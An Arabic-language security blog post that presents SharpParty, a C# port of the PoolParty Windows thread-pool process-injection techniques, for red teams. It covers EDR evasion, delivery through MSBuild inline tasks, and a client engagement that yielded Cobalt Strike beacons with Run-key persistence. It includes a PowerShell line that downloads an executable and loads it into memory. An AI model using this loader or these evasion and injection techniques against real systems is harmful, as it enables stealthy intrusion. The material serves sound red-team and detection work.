الأمن السيبراني

SharpParty: حقن عملية C# PoolParty باللون الأحمر


مقدمة

مع تحسن حلول مكافحة الفيروسات وEDR في قدرات الكشف والاستجابة، يمكن أن تصبح مهمة الفريق الأحمر شاقة للغاية. لقد فشلت حمولات وتقنيات البرامج الضارة التي كانت تهيمن على الشبكات في اختبار الزمن عندما أصبح EDR على علم بها. إذا تم اكتشاف حمولات الوصول الأولية الخاصة بك على الفور، فقد يكون فريقك الأحمر الذي يمتد لستة أسابيع قد مات عند وصوله. بالإضافة إلى ذلك، تتمتع الجهات الفاعلة في مجال التهديد في العالم الحقيقي بوفرة من الوقت والموارد؛ فقط تخيل كل الحمولات والتقنيات والأيام الصفرية التي ربما طورتها مجموعة تهديد متطورة على مر السنين. من الضروري أن تعمل الفرق الحمراء على تطوير تكتيكاتها وتقنياتها وإجراءاتها (TTPs) بشكل مستمر بغرض محاكاة الجهات الفاعلة التي تهدد الحياة الواقعية والتي تتطور باستمرار.

في منشور المدونة هذا، تقدم شركة Stroz Friedberg، إحدى شركات LevelBlue، إضافة إلى مجموعة أدوات الفريق الأحمر تسمى “SharpParty” – وهو تطبيق C# لتقنيات حقن العملية التي يطلق عليها اسم “PoolParty”.

ونريد أن نكون واضحين للغاية هنا: لم يقم Stroz Friedberg بإنشاء PoolParty ولم يقم Stroz Friedberg بتوسيع نطاق البحث ليشمل Windows Thread Pools. بدلاً من ذلك، قام Stroz Friedberg ببساطة بترجمة كود المصدر الأصلي لـ SafeBreach Labs من C++ إلى C#. الهدف هنا هو منح أعضاء الفريق الأحمر المزيد من الخيارات عند اختيار حمولاتهم. يمكنك تنزيل SharpParty من موقعنا مستودع جيثب.

حقن العملية

قبل أن نتعمق في PoolParty، يجب أن نفهم أولاً ما هي عملية الحقن. يعد حقن العملية مفهومًا بسيطًا نسبيًا: حقن الكود في عملية أخرى. الغرض من إدخال التعليمات البرمجية في عملية أخرى هو إخفاء الأنشطة الضارة والتعتيم عليها. ومع ذلك، فإن التنفيذ الفعلي لحقن العملية ليس بهذه البساطة.

إذا كنت ترغب في معرفة المزيد حول حقن العملية، فيرجى الرجوع إلى عناوين URL التالية:

حفلة البلياردو

لقد جسدت SafeBreach Labs ببراعة ضرورة التطوير المستمر لـ TTP من خلال إصدار “PoolParty” – وهي مجموعة من تقنيات حقن العمليات التي تستهدف تجمعات مؤشرات الترابط في Windows. ومن خلال هذا البحث، تمكنت SafeBreach Labs من تجاوز خمسة من كبار موردي EDR. كما أطلقوا سراح أ مستودع إثبات المفهوم على GitHub، مع كود المصدر مكتوب بلغة C++.

باختصار، يقوم PoolParty بإدخال التعليمات البرمجية في العمليات عن طريق صياغة عناصر العمل المشروعة وإدراجها في تجمع مؤشرات ترابط العملية. عنصر العمل هو هيكل يحتوي على مواصفات المهمة، بما في ذلك الشروط والتعليمات البرمجية المحددة التي سيتم تنفيذها عند استيفاء هذه الشروط. تعمل عناصر العمل المحقونة بشكل فعال بمثابة بدائي التنفيذ، لأن عنصر العمل سينفذ التعليمات البرمجية الخاصة بنا عند استيفاء شروطه. على سبيل المثال، يمكن لعنصر العمل تنفيذ إجراء عند تعديل ملف. تعديل الملف في هذا المثال هو التنفيذ البدائي ولا يتعين علينا بدء التنفيذ يدويًا عبر شيء مثل “CreateRemoteThread”، وهو مؤشر معروف لحقن العملية.

تحفيز

الدافع الأساسي لتطبيق C# هو السماح باستخدام تقنيات Pool Party في الأدوات التي تستفيد من مهام MSBuild المضمنة في ملفات XML. يمكن أن يتضمن ملف Task XML تعليمات برمجية C# مضمنة والتي، عند تمريرها إلى “msbuild.exe”، سيتم تجميعها وتنفيذها. على الرغم من أن ملفات XML للمهام تدعم C++ (اللغة التي تمت كتابة PoC الأصلية بها)، إلا أنها مدعومة فقط عندما يكون تجميع “CppCodeProvider.dll” موجودًا على الجهاز الهدف. يتم تضمين ملف DLL هذا في بعض عمليات تثبيت Visual Studio ولا يُضمن وجوده على أجهزة Windows بشكل افتراضي. للتأكد من أن حمولاتنا سوف تنفجر على أي مضيف يعمل بنظام Windows، سنحتاج إلى تنفيذ تقنية PoolParty في لغة C#.

بالإضافة إلى ذلك، يمكن تحميل تنفيذ C# لـ PoolParty بشكل عكسي في الذاكرة عبر PowerShell:

$data = (new-object net.webclient).downloaddata('http://127.0.0.1/sharpparty.exe');
$assem = [System.Reflection.Assembly]::Load($data);
[SharpParty.Program]::Main("1 666".Split());

أخيرًا، مع استمرار تزايد شعبية أدوات C# الهجومية، يمكن دمج تطبيق C# PoolParty في أدوات هجومية أخرى كجزء من سلاسل هجوم متنوعة.

لهذه الأسباب، بدأ Stroz Friedberg في تنفيذ تقنية “PoolParty” في لغة C# – SharpParty.

فعالية ضد EDR

أثناء الاختبار الذي أجريناه، تمكنت SharpParty باستمرار من تجاوز Microsoft Defender for Endpoint (MDE) في البداية. لقد أرسلنا تقريرًا إلى Microsoft يوضح التجاوز في مارس 2025، وتم التحقق من صحته وتنفيذ عمليات الكشف عنه لاحقًا. منذ ذلك الحين، لاحظنا زيادة في عدد الاكتشافات على SharpParty. اكتشفت أنظمة EDR أخرى تنفيذ SharpParty ومنعته في بعض الأحيان، استنادًا إلى الاستخدام الضار لـ “msbuild.exe” بالإضافة إلى تقنية حقن العملية غير المحددة.

على الرغم من أن مهام SharpParty المضمنة قد شهدت زيادة في عمليات الاكتشاف من EDR مؤخرًا، إلا أن هناك بعض الأشياء الجديرة بالملاحظة:

  • أصدرت SafeBreach Labs علنًا أبحاثها حول حقن العمليات عبر Windows Thread Pools، مما يمكّن موردي EDR من تنفيذ عمليات الكشف والمراقبة لهذه التقنية.
  • يعد استخدام المهام المضمنة و”msbuild.exe” أسلوبًا معروفًا نسبيًا.
  • هناك مجال لمزيد من التطوير الذي يمكن أن يحسن فعالية الحمولة ضد EDR.

في النهاية، هدفنا هو منح الفرق الحمراء عنصرًا إضافيًا في مجموعة أدواتهم، ووسيلة أخرى لتحقيق هدف ما، وحالة اختبار أخرى لتقييم قدرات الكشف عن التهديدات.

قصة نجاح

خلال بحثنا، أتيحت لنا الفرصة لإجراء مزيد من اختبار التعليمات البرمجية الخاصة بنا على مشاركة العميل. فيما يلي تفصيل حمولتنا:

  • ملف Task XML مع مهمة C# المضمنة التي تحتوي على كود SharpParty المشفر ووظائف المساعدة لجلب مفتاح فك التشفير، وفك تشفير الكود، ثم تجميع التعليمات البرمجية التي تم فك تشفيرها وتنفيذها.
  • يتم تضمين كود قشرة الإشارة ضمن طبقة إضافية من التشفير.
  • يتم استخدام HTTP Keying لاسترداد مفتاح فك التشفير والتحقق من صحته، مما يضمن الاتصال بخادم C2.

يظهر الرسم البياني أدناه تدفق تنفيذ الحمولة:

قصة نجاح

تعتمد كيفية تنفيذ القطارة لـ “msbuild.exe” في مهمة XML على شروط مختلفة وهي خارج نطاق منشور المدونة هذا.

بعد أن تم اختبار كل شيء وأصبح جاهزًا للتنفيذ، انضممنا إلى مكالمة مع العميل لمشاركة تفجير البرامج الضارة على الشاشة. لقد قمنا بإخفاء الحمولة بحيث يبدو، من وجهة نظر الضحية، وكأنه قام بتنزيل ملف ZIP وفتح ملف PDF. تحت الغطاء، نجحنا في تنفيذ برنامج SharpParty وحصلنا على منارة Cobalt Strike. بعد إنشاء قناة C2، لم يتلق العميل أي إنذارات من جانبه في تلك اللحظة. بعد حوالي 10 دقائق، اقترحنا حالة اختبار تتضمن المثابرة عبر مفاتيح تشغيل التسجيل للتحقق من اكتشاف هذا النشاط. وافق العميل وقمنا بإجراء حالة الاختبار مباشرة أثناء المكالمة، وقمنا بتعيين مفتاح التشغيل التلقائي لتنفيذ نفس حمولة SharpParty. بعد ذلك، قمنا بتسجيل الخروج من محطة العمل، وقمنا بتسجيل الدخول مرة أخرى، واستلمنا الإشارة الثانية.

كان العميل يشعر بالقلق بشكل مفهوم، نظرًا لأننا أنشأنا منارات C2 ولم يتلقوا أي اكتشافات. بعد 30 دقيقة من التفجير، اكتشف EDR الاستخدام الضار لـ “msbuild.exe” وحمولة ضارة غير محددة في العملية المستهدفة، والتي تم تنبيه العميل بشأنها.

على الرغم من أن هذا الرمز لا يزال عالقًا في النهاية، إلا أن هناك نتيجتين أساسيتين:

  • تنفيذ “msbuild.exe” هو ما التقطه EDR.
  • هناك 30 دقيقة بين التفجير والكشف. على الرغم من أن هذه الفجوة صغيرة نسبيًا، إلا أنها قد تكون كبيرة بما يكفي لممثل التهديد للتمحور داخل الشبكة والحفاظ على وصوله.

خاتمة

باختصار، لقد قمنا بتطوير تطبيق C# لـ PoolParty بناءً على العمل المذهل الذي قامت به SafeBreach Labs، وقدمنا ​​الدافع لوجوده، وشاركنا قصة نجاح. كما هو الحال دائما، هناك مجال للتحسين. لدينا مجال للنمو فيما يتعلق بإضافة المزيد من المتغيرات، وربما حتى اكتشاف متغيرات جديدة، وتحسين الفعالية ضد منتجات EDR. هدفنا هو نشر هذه التدوينة ومصادرها المفتوحة شارب بارتي هو تبادل المعرفة مع مجتمع الأمن وتوفير سبل للبحث والتطوير في المستقبل.

المحتوى المقدم هنا هو لأغراض إعلامية عامة فقط ولا ينبغي تفسيره على أنه نصيحة قانونية أو تنظيمية أو تتعلق بالامتثال أو الأمن السيبراني. يجب على المؤسسات استشارة متخصصيها في الشؤون القانونية أو الامتثال أو الأمن السيبراني فيما يتعلق بالتزامات محددة واستراتيجيات إدارة المخاطر. في حين أن حلول الكشف عن التهديدات المُدارة والاستجابة لها من LevelBlue مصممة لدعم الكشف عن التهديدات والاستجابة لها على مستوى نقطة النهاية، إلا أنها ليست بديلاً عن المراقبة الشاملة للشبكة، أو إدارة الثغرات الأمنية، أو برنامج الأمن السيبراني الكامل.



Source link

زر الذهاب إلى الأعلى